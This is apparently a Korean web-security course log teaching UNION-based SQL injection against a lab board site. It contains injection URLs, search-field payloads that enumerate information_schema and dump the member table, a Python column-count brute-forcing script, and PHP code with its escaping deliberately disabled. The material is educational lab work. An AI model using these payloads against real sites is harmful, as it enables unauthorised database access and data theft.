애플리케이션 보안 운영 - 3 (교육 90 ~ 93일차)

SW·2023년 4월 19일
0
########
## UNION
#########

UNION 은 합집합을 말한다.
UNION은 두 개의 테이블의 결과를 하나의 테이블에 출력하는 DML이다.
데이터 조작어(DML)이란 무엇인가? 

DML은 Data Manipulation Language의 약자로
데이터베이스에 입력된 데이터를 조회/수정/삭제하는 명령을 말한다.
SELECT: 데이터 조회
INSERT: 데이터 삽입
UPDATE: 데이터 수정
DELETE: 데이터 삭제

MariaDB [WebTest]> SELECT 1,2,3;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec)

MariaDB [WebTest]> SELECT 1,2,3
    ->             UNION
    ->             SELECT 4,5,6;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
| 4 | 5 | 6 |
+---+---+---+
2 rows in set (0.00 sec)

MariaDB [WebTest]> SELECT 1,2,3
    ->             UNION
    ->             SELECT 4,5,6,7;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

MariaDB [WebTest]> DESC member;
+----------+-------------+------+-----+---------+----------------+
| Field    | Type        | Null | Key | Default | Extra          |
+----------+-------------+------+-----+---------+----------------+
| no       | int(11)     | NO   | PRI | NULL    | auto_increment |
| u_id     | varchar(20) | NO   | UNI | NULL    |                |
| u_pass   | varchar(50) | NO   |     | NULL    |                |
| u_name   | varchar(20) | NO   |     | NULL    |                |
| nickname | char(20)    | YES  |     | NULL    |                |
| age      | int(11)     | YES  |     | NULL    |                |
| email    | char(50)    | YES  |     | NULL    |                |
| reg_date | datetime    | NO   |     | NULL    |                |
+----------+-------------+------+-----+---------+----------------+
8 rows in set (0.01 sec)

MariaDB [WebTest]> SELECT * FROM member UNION SELECT 1;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
MariaDB [WebTest]> SELECT * FROM member UNION SELECT 1,2;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
MariaDB [WebTest]> SELECT * FROM member UNION SELECT 1,2,3;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
MariaDB [WebTest]> SELECT * FROM member UNION SELECT 1,2,3,4;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
MariaDB [WebTest]> SELECT * FROM member UNION SELECT 1,2,3,4,5;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
MariaDB [WebTest]> SELECT * FROM member UNION SELECT 1,2,3,4,5,6;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
MariaDB [WebTest]> SELECT * FROM member UNION SELECT 1,2,3,4,5,6,7;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
MariaDB [WebTest]> SELECT * FROM member UNION SELECT 1,2,3,4,5,6,7,8;
+----+--------+--------+-----------+-----------+------+------------------+---------------------+
| no | u_id   | u_pass | u_name    | nickname  | age  | email            | reg_date            |
+----+--------+--------+-----------+-----------+------+------------------+---------------------+
|  1 | tester | 111111 | 테스터    | 테스터    |    3 | tester@naver.com | 2022-10-28 22:28:11 |
|  2 | admin  | 222222 | 관리자    | 관리자    |   30 | admin@naver.com  | 2022-10-28 22:28:47 |
|  1 | 2      | 3      | 4         | 5         |    6 | 7                | 8                   |
+----+--------+--------+-----------+-----------+------+------------------+---------------------+
3 rows in set (0.00 sec)

UNION을 이용해서 하나씩 대입해서 에러가 발생하지 않으면 된다.

에러가 발생된 부분 (1개 ~ 10개까지)
http://192.168.20.41/board/board_view.php?num=2 UNION SELECT NULL#
http://192.168.20.41/board/board_view.php?num=2 UNION SELECT NULL,NULL#
http://192.168.20.41/board/board_view.php?num=2 UNION SELECT NULL,NULL,NULL#
http://192.168.20.41/board/board_view.php?num=2 UNION SELECT NULL,NULL,NULL,NULL#
http://192.168.20.41/board/board_view.php?num=2 UNION SELECT NULL,NULL,NULL,NULL,NULL#
http://192.168.20.41/board/board_view.php?num=2 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL#
http://192.168.20.41/board/board_view.php?num=2 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL#
http://192.168.20.41/board/board_view.php?num=2 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
http://192.168.20.41/board/board_view.php?num=2 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
http://192.168.20.41/board/board_view.php?num=2 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#  

에러가 발생되지 않은 부분 (11개)
- 게시글이 저장된 테이블의 컬럼수가 11개임을 알 수 있다.
192.168.20.41/board/board_view.php?num=2 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
192.168.20.41/board/board_view.php?num=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11#


http://192.168.20.41/board/board_view.php?num=-1%20UNION%20SELECT%201,version(),3,4,5,6,7,user(),9,10,1#

실습> 파이썬을 이용한 자동화 툴 만들기

requests 모듈 공식 사이트: https://requests.readthedocs.io/en/latest/
requests 모듈: HTTP 라이브러리


[root@webhacking ~]# wget https://linuxmaster.net/tools/rh-python38.sh --no-check-certificate
[root@webhacking ~]# chmod 755 rh-python38.sh
[root@webhacking ~]# ./rh-python38.sh
[root@webhacking ~]# python -m venv SQLiProject
[root@webhacking ~]# . SQLiProject/bin/activate
(SQLiProject) [root@webhacking ~]#

(SQLiProject) [root@webhacking ~]# python -m pip install --upgrade pip
(SQLiProject) [root@webhacking ~]# pip install requests
(SQLiProject) [root@webhacking ~]# pip install bs4
(SQLiProject) [root@webhacking ~]# pip list
Package            Version
------------------ -----------
beautifulsoup4     4.11.1
bs4                0.0.1
certifi            2022.9.24
charset-normalizer 2.0.12
idna               3.4
pip                21.3.1
requests           2.27.1
setuptools         39.2.0
soupsieve          2.3.2.post1
urllib3            1.26.12

(SQLiProject) [root@webhacking ~]# vi requestsTest1.py
#!/usr/bin/env python
"""
파일명: requestTest1.py
프로그램 설명: requests 모듈을 이용한 웹 데이터 가져오기
작성자: 리눅스마스터넷
"""

import requests

url = 'http://192.168.20.41/'  # 자신의 웹 방화벽으로 설정
res = requests.get(url)
print(res.text)

(SQLiProject) [root@webhacking ~]#  chmod 755 requestsTest1.py
(SQLiProject) [root@webhacking ~]#  ./requestsTest1.py 
<!doctype html>
<html>
	<!-- head 부분 -->
	<head>
		<title>Web Test Site</title>
		<link rel="stylesheet" href="style_contents.css" type="text/css">
	</head>
	<body>

			<iframe src="head.php" id="bodyFrame" name="body" width="100%" frameborder="0"></iframe>
		<div id="main_contents" class="contents">
			<h1> 환영합니다~!!^^</h1>

			<font color="#323232" size="4em">
			웹 해킹을 공부하고 싶은데 연습할 곳이 없으시다구요?<br>
			실제 사이트에 연습하다가는 <strong>!!철컹철컹!!</strong> 아시죠?<br>
			이곳은 Web Hacking 연습을 위한 Test 사이트 입니다.<br>
			이곳에서는 마음껏 연습하세요~!!^^<br>
			</font>
		</div>
	</body>
</html>

실습> GET방식을 이용한 접근

1. 소스코드 작성

/var/www/html/get.html 에 생성한다.

-- get.html --
<!doctype html>
<html>
  <head>
    <meta charset=utf-8>
    <title> ::: get.html ::: </title>
  </head>

<body>

<form method=get action=get.php> 
<table align=center bgcolor=#000000 border=0 
       cellpadding=4 cellspacing=1 width=300 >
<tr bgcolor=#ffffff>
  <td align=center width=100> 이름 </td>
  <td width=240> <input type=text name=userid > </td>
</tr>
<tr bgcolor=#ffffff>
  <td align=center width=60> 비밀번호 </td>
  <td width=240> <input type=password name=userpw > </td>
</tr>
<tr bgcolor=#ffffff>
  <td align=center colspan=2> 
  <input type=submit value='저장'> </td>
</tr>
</table>
</form>

</body>
</html>
-- get.html --

-- get.php --
<?
print_r($_GET);
?>
-- get.php --

2. 접속
각자의 IP주소로 접근해서 이름과 비밀번호에 적당한 값을 넣어서 전송한다.

http://<IP주소>/get.html
이름: test
비밀번호: 1234

http://<IP주소>/get.php?userid=test&userpw=1234
Array ( [userid] => test [userpw] => 1234 )


3. 파이썬 코드 작성

(SQLiProject) [root@webhacking ~]# vi requestsTest2.py
#!/usr/bin/env python3
"""
파일명: requestTest2.py
프로그램 설명: requests 모듈을 이용한 웹 데이터 가져오기
작성자: 리눅스마스터넷
"""

import requests

#url = 'http://<IP주소>/get.php?userid=test&userpw=1234'
#res = requests.get(url)

# parameter를 dict 자료형으로 전달한 경우
geturl = 'http://192.168.20.41/get.php' 
paramData = { 'userid':'test', 'userpw':'1234' }
res = requests.get(geturl, params=paramData)
print(res.text)

(SQLiProject) [root@webhacking ~]# chmod 755 requestsTest2.py
(SQLiProject) [root@webhacking ~]# ./requestsTest2.py
Array
(
    [userid] => test
    [userpw] => 1234
)

실습> union 공격코드 작성하기

컬럼의 개수가 맞지 않으면 에러가 발생하므로 클라이언트에 전송된 소스에 <b>Warning</b> 메세지가 있다.
컬럼의 개수가 맞으면 에러가 발생하지 않으므로 클라이언트에 전송된 소스에 <b>Warning</b> 메세지가 없다.

1. 공격 코드 작성
(SQLiProject) [root@webhacking ~]# vi unionAttackDebug.py
#!/usr/bin/env python
"""
파일명: unionAttackDebug.py
프로그램 설명: union 공격을 디버깅하기 위한 예제
작성자: 리눅스마스터넷
"""

import requests
import bs4
victimIP = "192.168.20.41" # 자신의 WAF 의 IP주소

num = "2 UNION SELECT 1"

for i in range(1,13):  # 1 ~ 12
    if i > 1:
        num = num + "," + str(i)
        #print(num)

    url = f"http://{victimIP}/board/board_view.php?num={num}"
    res = requests.get(url)
    soup = bs4.BeautifulSoup(res.text, 'html.parser')
    a = soup.find('b')

    # Warning 메세지는 에러일 때 나오는 메세지이다.
    if a.text != 'Warning':
        print('UNION 매칭 OK!!!')
        print(f'>>> 매칭된 값 {i} : {url} <<<')
        break

    #print(f'>>> {i} : {url} <<<')
else:
    print('UNION 매칭을 찾을 수 없습니다!!!')

2. 공격 코드 실행
(SQLiProject) [root@webhacking ~]# chmod 755 unionAttackDebug.py
(SQLiProject) [root@webhacking ~]# ./unionAttackDebug.py
UNION 매칭 OK!!!
>>> 매칭된 값 11 : http://192.168.20.41/board/board_view.php?num=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11 <<<

3. 공격 코드 분석
pdb 로 분석한다.
p: 변수를 출력하는 명령어
n: 다음 코드로 진행하는 명령어

pdb를 실행하는 방법: python -m pdb <분석할 파이썬 파일>

(SQLiProject) [root@webhacking ~]# python -m pdb unionAttackDebug.py
> /root/unionAttackDebug.py(2)<module>()
-> """
(Pdb) n
(Pdb) n
(Pdb) n
(Pdb) n
(Pdb) :
(Pdb) :
(Pdb) n
> /root/unionAttackDebug.py(19)<module>()
-> url = f"http://{victimIP}/board/board_view.php?num={num}"
(Pdb) n
> /root/unionAttackDebug.py(20)<module>()
-> res = requests.get(url)
(Pdb) p url
'http://192.168.20.41/board/board_view.php?num=2 UNION SELECT 1'
(Pdb) n
> /root/unionAttackDebug.py(21)<module>()
-> soup = bs4.BeautifulSoup(res.text, 'html.parser')
(Pdb) p soup

<!DOCTYPE html>

<html>
<head>
<title>게시판</title>
<link href="../style_contents.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript">
      function ck() {
        if(document.dform.b_pass.value == ""){
          alert('패스워드를 입력하세요.');
          dform.b_pass.focus();
          return false;
        }
        document.dform.submit();
      }
    </script>
</head>
<body>
<iframe frameborder="0" id="bodyFrame" name="body" src="../head.php" width="100%"></iframe>
<div class="contents" id="board_contents">
<br/>
<b>Warning</b>:  mysql_fetch_array() expects parameter 1 to be resource, boolean given in <b>/var/www/html/board/board_view.php</b> on line <b>44</b><br/>  <-- 에러가 발생하면 Warning 메세지를 돌려준다.
<table border="1" cellpadding="2" class="grayColor" width="600">
<tr>
<th colspan="5" style="background-color: #323232">
<font style="color: white; font-size: 150%;">내용 보기</font>
</th>
</tr>
<tr>
<th width="15%"><font>이름</font></th>
<td width="35%"><font></font></td>
<th width="15%"><font>등록일</font></th>
<td width="35%"><font></font></td>
</tr>
<tr>
<th width="15%"><font>이메일</font></th>
<td width="35%"><font></font></td>
<th width="15%"><font>조회</font></th>
<td width="35%"><font></font></td>
</tr>
<tr>
<th width="15%"><font>제목</font></th>
<td colspan="3"><font></font></td>
</tr>
<tr>
<th width="15%"><font>내용</font></th>
<td colspan="4" style="padding:15px 0;"><font></font></td>
</tr>
<tr>
<th width="15%"><font><b>첨부 파일</b></font></th>
<td colspan="3">
</td>
</tr>
</table>
<br/>
<p align="center">
<form action="board_delete_ok.php?num=2 UNION SELECT 1" method="post" name="dform">
<font>비밀번호</font>
<input name="b_pass" size="20" type="password"/>
<input class="btn_default btn_gray" onclick="ck();" type="button" value="삭제"/>
                                    
                                <input class="btn_default btn_gray" onclick="history.back();" type="button" value="목록"/>
</form></p>
</div>
</body>
</html>

(Pdb) n
> /root/unionAttackDebug.py(22)<module>()
-> a = soup.find('b')
(Pdb) n
> /root/unionAttackDebug.py(25)<module>()
-> if a.text != 'Warning':
(Pdb) p a
<b>Warning</b>
(Pdb) p a.text
Warning
(Pdb) n
      :
      :(생략)
(Pdb) n
2 UNION SELECT 1,2,3,4,5,6,7,8,9,10
> /root/unionAttackDebug.py(19)<module>()
-> url = f"http://{victimIP}/board/board_view.php?num={num}"
(Pdb) :
      :(생략)
'2 UNION SELECT 1,2,3,4,5,6,7,8,9,10'
(Pdb) n
> /root/unionAttackDebug.py(17)<module>()
-> print(num)
(Pdb) p num
'2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11'
(Pdb) n
2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11
> /root/unionAttackDebug.py(19)<module>()
-> url = f"http://{victimIP}/board/board_view.php?num={num}"
(Pdb) n
> /root/unionAttackDebug.py(20)<module>()
-> res = requests.get(url)
(Pdb) p url
'http://192.168.20.41/board/board_view.php?num=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11'
(Pdb) n
> /root/unionAttackDebug.py(21)<module>()
-> soup = bs4.BeautifulSoup(res.text, 'html.parser')
(Pdb) n
> /root/unionAttackDebug.py(22)<module>()
-> a = soup.find('b')
(Pdb) p soup

<!DOCTYPE html>

<html>
<head>
<title>게시판</title>
<link href="../style_contents.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript">
      function ck() {
        if(document.dform.b_pass.value == ""){
          alert('패스워드를 입력하세요.');
          dform.b_pass.focus();
          return false;
        }
        document.dform.submit();
      }
    </script>
</head>
<body>
<iframe frameborder="0" id="bodyFrame" name="body" src="../head.php" width="100%"></iframe>
<div class="contents" id="board_contents">
<table border="1" cellpadding="2" class="grayColor" width="600">
<tr>
<th colspan="5" style="background-color: #323232">
<font style="color: white; font-size: 150%;">내용 보기</font>
</th>
</tr>
<tr>
<th width="15%"><font>이름</font></th>
<td width="35%"><font>관리자</font></td>
<th width="15%"><font>등록일</font></th>
<td width="35%"><font>2023-04-04 03:06:45</font></td>
</tr>
<tr>
<th width="15%"><font>이메일</font></th>
<td width="35%"><font></font></td>
<th width="15%"><font>조회</font></th>
<td width="35%"><font>6</font></td>
</tr>
<tr>
<th width="15%"><font>제목</font></th>
<td colspan="3"><font>11</font></td>
</tr>
<tr>
<th width="15%"><font>내용</font></th>
<td colspan="4" style="padding:15px 0;"><font>111</font></td>
</tr>
<tr>
<th width="15%"><font><b>첨부 파일</b></font></th>
<td colspan="3">
</td>
</tr>
</table>
<br/>
<p align="center">
<form action="board_delete_ok.php?num=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11" method="post" name="dform">
<font>비밀번호</font>
<input name="b_pass" size="20" type="password"/>
<input class="btn_default btn_gray" onclick="ck();" type="button" value="삭제"/>
                                    
                                <input class="btn_default btn_gray" onclick="history.back();" type="button" value="목록"/>
</form></p>
</div>
</body>
</html>

(Pdb) n
> /root/unionAttackDebug.py(25)<module>()
-> if a.text != 'Warning':
(Pdb) p a
<b>첨부 파일</b>
(Pdb) n
> /root/unionAttackDebug.py(26)<module>()
-> print('UNION 매칭 OK!!!')
(Pdb) n
UNION 매칭 OK!!!
> /root/unionAttackDebug.py(27)<module>()
-> print(f'>>> 매칭된 값 {i} : {url} <<<')
(Pdb) n
>>> 매칭된 값 11 : http://192.168.20.41/board/board_view.php?num=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11 <<<
> /root/unionAttackDebug.py(28)<module>()
-> break
(Pdb) n
--Return--
> /root/unionAttackDebug.py(28)<module>()->None
-> break
(Pdb) n
--Return--
> <string>(1)<module>()->None
(Pdb) c
The program finished and will be restarted
> /root/unionAttackDebug.py(2)<module>()
-> """
(Pdb) q




#######################
## information_schema ##
########################

information_schema
- DBMS(mariaDB)의 전체 정보를 가지고 있는 가상의 Database
- 다시 말해서 시스템상의 DB가 위치하는 실제 파일시스템상(/var/lib/mysql)에는 존재하지 않고 메모리에 존재한다.
- 리눅스에서 /proc 디렉터리라고 생각하면 된다.

information_schema : DBMS의 전체 정보를 가지고 있는 가상의 데이터베이스
information_schema.TABLES : DBMS의 전체 테이블에 대한 정보를 가지고 있는 테이블
- TABLE_SCHEMA : DBMS의 전체 데이터베이스가 저장된 컬럼
- TABLE_NAME : DBMS의 전체 테이블명이 저장된 컬럼
- TABLE_TYPE : DBMS의 테이블의 종류가 저장된 컬럼 (BASE TABLE)


MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |  <-- 
| mysql              |
| mywebsite          |
| performance_schema |
| test               |
+--------------------+
5 rows in set (0.00 sec)

MariaDB [(none)]> use information_schema
MariaDB [information_schema]> show tables;
+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| CHARACTER_SETS                        |
| CLIENT_STATISTICS                     |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |  <--
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| INDEX_STATISTICS                      |
| KEY_CACHES                            |
| KEY_COLUMN_USAGE                      |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |   <--
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TABLE_STATISTICS                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| USER_STATISTICS                       |
| VIEWS                                 |
| INNODB_CMPMEM_RESET                   |
| INNODB_RSEG                           |
| INNODB_UNDO_LOGS                      |
| INNODB_CMPMEM                         |
| INNODB_SYS_TABLESTATS                 |
| INNODB_LOCK_WAITS                     |
| INNODB_INDEX_STATS                    |
| INNODB_CMP                            |
| INNODB_CMP_RESET                      |
| INNODB_CHANGED_PAGES                  |
| INNODB_BUFFER_POOL_PAGES              |
| INNODB_TRX                            |
| INNODB_BUFFER_POOL_PAGES_INDEX        |
| INNODB_LOCKS                          |
| INNODB_BUFFER_POOL_PAGES_BLOB         |
| INNODB_SYS_TABLES                     |
| INNODB_SYS_FIELDS                     |
| INNODB_SYS_COLUMNS                    |
| INNODB_SYS_STATS                      |
| INNODB_SYS_FOREIGN                    |
| INNODB_SYS_INDEXES                    |
| XTRADB_ADMIN_COMMAND                  |
| INNODB_TABLE_STATS                    |
| INNODB_SYS_FOREIGN_COLS               |
| INNODB_BUFFER_PAGE_LRU                |
| INNODB_BUFFER_POOL_STATS              |
| INNODB_BUFFER_PAGE                    |
+---------------------------------------+
62 rows in set (0.00 sec)


TB : columns
Columns : 
- TABLE_SCHEMA : DataBase  이름
- TABLE_NAME : Table  이름
- COLUMN_NAME : 사용자가 생성한 컬럼명

MariaDB [information_schema]> desc columns;
+--------------------------+---------------------+------+-----+---------+-------+
| Field                    | Type                | Null | Key | Default | Extra |
+--------------------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG            | varchar(512)        | NO   |     |         |       |
| TABLE_SCHEMA             | varchar(64)         | NO   |     |         |       |  <-- DB명
| TABLE_NAME               | varchar(64)         | NO   |     |         |       |  <-- Table명
| COLUMN_NAME              | varchar(64)         | NO   |     |         |       |  <-- Column명
| ORDINAL_POSITION         | bigint(21) unsigned | NO   |     | 0       |       |
| COLUMN_DEFAULT           | longtext            | YES  |     | NULL    |       |
| IS_NULLABLE              | varchar(3)          | NO   |     |         |       |
| DATA_TYPE                | varchar(64)         | NO   |     |         |       |
| CHARACTER_MAXIMUM_LENGTH | bigint(21) unsigned | YES  |     | NULL    |       |
| CHARACTER_OCTET_LENGTH   | bigint(21) unsigned | YES  |     | NULL    |       |
| NUMERIC_PRECISION        | bigint(21) unsigned | YES  |     | NULL    |       |
| NUMERIC_SCALE            | bigint(21) unsigned | YES  |     | NULL    |       |
| DATETIME_PRECISION       | bigint(21) unsigned | YES  |     | NULL    |       |
| CHARACTER_SET_NAME       | varchar(32)         | YES  |     | NULL    |       |
| COLLATION_NAME           | varchar(32)         | YES  |     | NULL    |       |
| COLUMN_TYPE              | longtext            | NO   |     | NULL    |       |
| COLUMN_KEY               | varchar(3)          | NO   |     |         |       |
| EXTRA                    | varchar(27)         | NO   |     |         |       |
| PRIVILEGES               | varchar(80)         | NO   |     |         |       |
| COLUMN_COMMENT           | varchar(1024)       | NO   |     |         |       |
+--------------------------+---------------------+------+-----+---------+-------+
20 rows in set (0.00 sec)


TB : TABLES
Columns : 
- TABLE_SCHEMA : DataBase  이름
- TABLE_NAME : Table  이름
- TABLE_TYPE : Table  종류이고 BASE TABLE이 사용자가 생성한 테이블이다.

MariaDB [information_schema]> desc tables;
+-----------------+---------------------+------+-----+---------+-------+
| Field           | Type                | Null | Key | Default | Extra |
+-----------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG   | varchar(512)        | NO   |     |         |       |
| TABLE_SCHEMA    | varchar(64)         | NO   |     |         |       |  <-- DB명
| TABLE_NAME      | varchar(64)         | NO   |     |         |       |  <-- Table명
| TABLE_TYPE      | varchar(64)         | NO   |     |         |       |  <-- Table종류
| ENGINE          | varchar(64)         | YES  |     | NULL    |       |
| VERSION         | bigint(21) unsigned | YES  |     | NULL    |       |
| ROW_FORMAT      | varchar(10)         | YES  |     | NULL    |       |
| TABLE_ROWS      | bigint(21) unsigned | YES  |     | NULL    |       |
| AVG_ROW_LENGTH  | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_LENGTH     | bigint(21) unsigned | YES  |     | NULL    |       |
| MAX_DATA_LENGTH | bigint(21) unsigned | YES  |     | NULL    |       |
| INDEX_LENGTH    | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_FREE       | bigint(21) unsigned | YES  |     | NULL    |       |
| AUTO_INCREMENT  | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_TIME     | datetime            | YES  |     | NULL    |       |
| UPDATE_TIME     | datetime            | YES  |     | NULL    |       |
| CHECK_TIME      | datetime            | YES  |     | NULL    |       |
| TABLE_COLLATION | varchar(32)         | YES  |     | NULL    |       |
| CHECKSUM        | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_OPTIONS  | varchar(255)        | YES  |     | NULL    |       |
| TABLE_COMMENT   | varchar(2048)       | NO   |     |         |       |
+-----------------+---------------------+------+-----+---------+-------+
21 rows in set (0.01 sec)

MariaDB [information_schema]> SELECt table_schema, table_name, table_type FROM tables;
+--------------------+----------------------------------------------+-------------+
| table_schema       | table_name                                   | table_type  |
+--------------------+----------------------------------------------+-------------+
| information_schema | CHARACTER_SETS                               | SYSTEM VIEW |
| information_schema | CLIENT_STATISTICS                            | SYSTEM VIEW |
| information_schema | COLLATIONS                                   | SYSTEM VIEW |
| information_schema | COLLATION_CHARACTER_SET_APPLICABILITY        | SYSTEM VIEW |
| information_schema | COLUMNS                                      | SYSTEM VIEW |
| information_schema | COLUMN_PRIVILEGES                            | SYSTEM VIEW |
| information_schema | ENGINES                                      | SYSTEM VIEW |
  :
  :(생략)
| WebTest            | board                                        | BASE TABLE  |
| WebTest            | member                                       | BASE TABLE  |
| mysql              | columns_priv                                 | BASE TABLE  |
| mysql              | db                                           | BASE TABLE  |
| mysql              | event                                        | BASE TABLE  |
| mysql              | func                                         | BASE TABLE  |
  :
  :(생략)
| user1DB            | member                                       | BASE TABLE  |
| user1DB            | test                                         | BASE TABLE  |
+--------------------+----------------------------------------------+-------------+
108 rows in set (0.02 sec)


게시판의 검색 부분:

게시글의 검색 부분에서 글제목을 선택하고 SQLi 이 되는지 확인한다.
' UNION SELECT 100,200,300,400,500,600,700,800,900,1000,1100 #


-- board/board_list.php --
          if(isset($_GET["keyword"])){
            $keyword = trim($_GET["keyword"]);

            // 아래 3줄 주석처리
            // board/board_list.php
            //$keyword = mysql_real_escape_string($keyword);
            //echo $keyword;

            $key = $_GET["key"];
              switch($key){
                case '1':
                  $strSQL="select * from board where strSubject like '%$keyword%' order by strNumber desc";
                  break;
                case '2':
                  $strSQL="select * from board where strContent like '%$keyword%' order by strNumber desc";
                  break;
                case '3':
                  $strSQL="select * from board where strName like '%$keyword%' order by strNumber desc";
                  break;
                default:
                $strSQL="select * from board order by strNumber desc";
              }   
          } else {
            $strSQL="select * from board order by strNumber desc";
          }   

          $rs=mysql_query($strSQL, $conn);                                                                            
          $rs_num=mysql_num_rows($rs);
-- board/board_list.php --

글제목
$strSQL="select * from board where strSubject like '%$keyword%' order by strNumber desc";

입력한 공격 코드: ' UNION SELECT 100,200,300,400,500,600,700,800,900,1000,1100 #

실제 쿼리 값:
select * from board where strSubject like '%' 
UNION 
SELECT 100,200,300,400,500,600,700,800,900,1000,1100#%' order by strNumber desc
                                                     ~~~~~~~~~~~~~~~~~~~~~~~~~~~
                                                      주석으로 삭제되었다.

게시글의 검색 부분에서 출력 위치를 확인한다.
' UNION SELECT 100,200,300,400,500,600,700,800,900,1000,1100 #
               ~~~ ~~~         ~~~         ~~~          ~~~~

게시판
번호 제목       작성자 등록일               조회수
1    CSRF TEST2 테스터 2022-10-28 12:05:32  3
2    1          테스터 2022-10-28 17:26:23  3
100	 500        200    1100                 800


게시글의 검색 부분에서 출력 위치에 명령어를 넣어준다.
' UNION SELECT user(),200,300,400,database(),600,700,800,900,1000,1100 #
               ~~~~~~ ~~~         ~~~~~~~~~~         ~~~          ~~~~

로그에 기록된 쿼리는 아래와 같다.
221029 14:07:14	   23 Connect	webadmin@localhost as anonymous on 
		   23 Query	SET NAMES utf8
		   23 Init DB	WebTest
		   23 Query	select * from board where strSubject like '%' UNION SELECT user(),200,300,400,database(),600,700,800,900,1000,1100 #%' order by strNumber desc
		   23 Quit	


root 사용자로 로그인을 했기 때문에 모든 사용자의 테이블이 보여진다.
SELECT table_schema,table_name,table_type FROM information_schema.tables 
WHERE table_type = 'base table';

webadmin 사용자로 로그인하면 자신이 가지고 있는 테이블이 보여진다.
[root@webhacking html]# mysql -u webadmin -pP@ssw0rd WebTest

MariaDB [WebTest]> SELECT table_schema,table_name,table_type FROM information_schema.tables 
    -> WHERE table_schema = 'WebTest';
+--------------+------------+------------+
| table_schema | table_name | table_type |
+--------------+------------+------------+
| WebTest      | board      | BASE TABLE |
| WebTest      | member     | BASE TABLE |
+--------------+------------+------------+
2 rows in set (0.01 sec)

information_schema.tables에서 
table_schema: DB
table_name: TB
' UNION SELECT 1,table_type,3,4, table_name, 6,7,8,9,10, table_schema FROM information_schema.tables WHERE table_schema = 'WebTest' #

로그에 기록되는 쿼리
221029 14:20:28	   32 Connect	webadmin@localhost as anonymous on 
		   32 Query	SET NAMES utf8
		   32 Init DB	WebTest
		   32 Query	select * from board where strSubject like '%' UNION SELECT 1,table_type,3,4, table_name, 6,7,8,9,10, table_schema FROM information_schema.tables  WHERE table_schema = 'WebTest' #%' order by strNumber desc
		   32 Quit	

게시판
번호  제목          작성자  등록일              조회수
1	  CSRF TEST2    테스터	2022-10-28 12:05:32	3
2     1	            테스터  2022-10-28 17:26:23	3
1     board         2       WebTest	            8
1     member        2	    WebTest	            8


' UNION SELECT * from member #

221029 14:25:19	   33 Connect	webadmin@localhost as anonymous on 
		   33 Query	SET NAMES utf8
		   33 Init DB	WebTest
		   33 Query	select * from board where strSubject like '%' UNION SELECT * from member #%' order by strNumber desc
		   33 Quit	

select * from board where strSubject like '%' UNION SELECT * from member #%' order by strNumber desc

' UNION SELECT *,9,10,11 from member #

##############
## 컬럼 추출
##############

MariaDB [WebTest]> DESC information_schema.columns;
+--------------------------+---------------------+------+-----+---------+-------+
| Field                    | Type                | Null | Key | Default | Extra |
+--------------------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG            | varchar(512)        | NO   |     |         |       |
| TABLE_SCHEMA             | varchar(64)         | NO   |     |         |       |  <-- 데이터베이스명
| TABLE_NAME               | varchar(64)         | NO   |     |         |       |  <-- 테이블명
| COLUMN_NAME              | varchar(64)         | NO   |     |         |       |  <-- 컬럼명
| ORDINAL_POSITION         | bigint(21) unsigned | NO   |     | 0       |       |
| COLUMN_DEFAULT           | longtext            | YES  |     | NULL    |       |
| IS_NULLABLE              | varchar(3)          | NO   |     |         |       |
| DATA_TYPE                | varchar(64)         | NO   |     |         |       |
| CHARACTER_MAXIMUM_LENGTH | bigint(21) unsigned | YES  |     | NULL    |       |
| CHARACTER_OCTET_LENGTH   | bigint(21) unsigned | YES  |     | NULL    |       |
| NUMERIC_PRECISION        | bigint(21) unsigned | YES  |     | NULL    |       |
| NUMERIC_SCALE            | bigint(21) unsigned | YES  |     | NULL    |       |
| DATETIME_PRECISION       | bigint(21) unsigned | YES  |     | NULL    |       |
| CHARACTER_SET_NAME       | varchar(32)         | YES  |     | NULL    |       |
